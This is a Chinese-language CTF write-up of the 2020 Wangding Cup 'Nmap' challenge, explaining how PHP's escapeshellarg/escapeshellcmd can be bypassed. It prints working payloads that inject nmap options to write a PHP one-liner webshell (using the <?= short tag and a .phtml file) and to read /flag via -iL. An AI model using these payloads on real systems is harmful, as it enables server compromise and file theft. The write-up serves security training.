[网鼎杯 2020 朱雀组]Nmap1

打开题目

在源代码中看到了提示

先随便输入127.0.0.1

那我们试试输入

127.0.0.1 | ls

可以看到 | 被转义符号\所转义

那我们输入 127.0.0.1 /| ls

得到三条反斜线

我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果

我们输入的东西必须绕过这两个函数

1.直接放入payload

' <?php @eval($_POST["y"]);?> -oG hack.php '

可以看得出来对php字段有过滤

我们修改payload为' <?= @eval($_POST["y"]);?> -oG hack.phtml '

访问成功

蚁剑连接一下

在根目录下找到了flag

代码在linux下的运行结果

2.或者payload为

127.0.0.1' -iL /flag -o uuuu

我们访问一下uuuu' 文件

本来最开始我在idea运行的代码,感觉按照这个payload来应该是访问uuuu"

结果大佬告诉我linux下的php运行结果和window下的php运行结果不一样

这是linux下的运行结果

所以就应该是访问uuuu'

知识点:

1.转义字符

转义字符是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符被当作特殊用途而需要转换回它原来的意义的字符。而转义字符转义是指字符已经被转换了意义

2.escapeshellcmd和escapeshellarg函数

escapeshellarg函数

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。

escapeshellcmd函数

**反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$\、\x0A 和 \xFF** 。 **' 和 " 仅在不配对儿的时候被转义**。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^`)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^

实例:

详情见:

PHP: escapeshellcmd - Manual

nmap的一些命令

其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出

  • nmap -iL target.txt

读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt 文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt 文件的格式是每行一个目标主机或 IP 地址

如 nmap -iL target.txt -o result.txt

//扫描target.txt里面的内容并输出保存为result.txt

  • nmap -o系列

输出

-oN 标准输出

-oX XMl输出

-oS script jlddi3

-oG grepable

-oA 同时输出三种主要格式

-v 信息详细级别

-d 调试级别

--packet-trace 跟踪发送和接收的报文

--reason 显示端口处于特殊状态的原因

--open 仅显示开放的端口

关于一句话木马的小知识点

为什么<?php @eval(_POST["y"]); ?>可以替换成<?= @eval(_POST["y"]); ?>

主要是因为在php中,

<?=

?>

等价为

<?php echo

?>

总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml

知识点参考;

https://paper.seebug.org/164/

参考wp:

https://www.cnblogs.com/AikN/p/15727575.html

BUUCTF [网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

https://www.cnblogs.com/DenZi/articles/15343512.html

相关推荐
酷酷-3 小时前
彩虹易支付最新版源码及安装教程(修复BUG+新增加订单投诉功能)
html·php·bug
杨哥带你写代码5 小时前
构建高效新闻推荐系统:Spring Boot的力量
服务器·spring boot·php
A 八方6 小时前
【漏洞复现】泛微OA E-Office do_excel.php 任意文件写入漏洞
开发语言·安全·php
ac-er88887 小时前
PHP__sleep和__wakeup有什么区别
开发语言·php
什么鬼昵称8 小时前
Pikachu-PHP反序列化
开发语言·javascript·php
DK七七14 小时前
【PHP陪玩系统源码】游戏陪玩系统app,陪玩小程序优势
前端·vue.js·游戏·小程序·php·uniapp
‍。。。15 小时前
Ubuntu 系统崩了,如何把数据拷下来
数据库·ubuntu·php
法迪15 小时前
BugReport中的App Processor wakeup字段意义
开发语言·php·功耗
ac-er888818 小时前
PHP函数 func_num_args() 的作用
java·开发语言·php
xiandong201 天前
240925-GAN生成对抗网络
图像处理·人工智能·深度学习·神经网络·生成对抗网络·php·gan